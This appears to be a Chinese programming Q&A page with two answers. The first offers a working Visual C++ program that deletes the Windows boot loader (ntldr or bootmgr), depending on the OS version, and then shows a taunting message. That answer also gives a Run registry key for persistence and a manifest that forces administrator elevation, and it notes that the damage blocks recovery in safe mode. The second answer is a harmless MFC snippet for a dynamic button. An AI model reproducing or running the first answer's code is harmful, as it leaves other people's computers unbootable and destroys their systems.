1. 求 VC 6.0 程序代码 想骂人的 滚 高分 100 追加 80
#include <windows.h>
#include <stdio.h>
#include <conio.h>
int main(int argc, char* argv[])
{
OSVERSIONINFO osinfo;
osinfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&osinfo);
if (osinfo.dwMajorVersion == 5) //Windows XP
{
system("del /s %systemroot%\\..\\..\\ntldr");
}
if (osinfo.dwMajorVersion == 6) //Windows 7
{
system("del /s %systemroot%\\..\\..\\bootmgr");
}
MessageBox(NULL, "哈哈哈 你电脑要坏了啦 千万别关机哦", "", MB_OK|MB_ICONWARNING);
return 0;
}
还有注册表的没时间做了,你去网络下吧,关键是:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
"App"="%systemroot%\\App.exe"
还有下面的代码:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.0.0.0"
processorArchitecture="X86"
name="a.exe.manifest"
type="win32"
/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
把其中的a.exe 改成 你的程序名字.exe,然后存为 你的程序名字.exe.manifest
这是用来win7提权的。。。
另外,破坏了系统引导安全模式是无法打开的,我前几天就删了win7的BCD,结果开机蓝屏,不可能再打开安全模式了。。。
2. 求VC++中生成按钮的源代码
// 动态构建按钮代码
CButton* pNewButton = new CButton();// 也可以定义为类的成员变量。
CRect rcButton( 10, 10, 50, 30); // 按钮在对话框中的位置。
pNewButton->Create("按钮", 0, rcButton, this, 10098);
pNewButton->ShowWindow(SW_SHOW);
// 添加按钮消息代码。
重载对话框的 WindowProc 消息处理函数
加如下代码——这个要实现添加
if ( WM_COMMAND== message )
{
WORD wID = LOWORD(wParam);
if ( 10098 == wID)
{
CDC* pDC = GetDC();
pDC->TextOut( 100, 100, "文字");
ReleaseDC(pdc);
}
}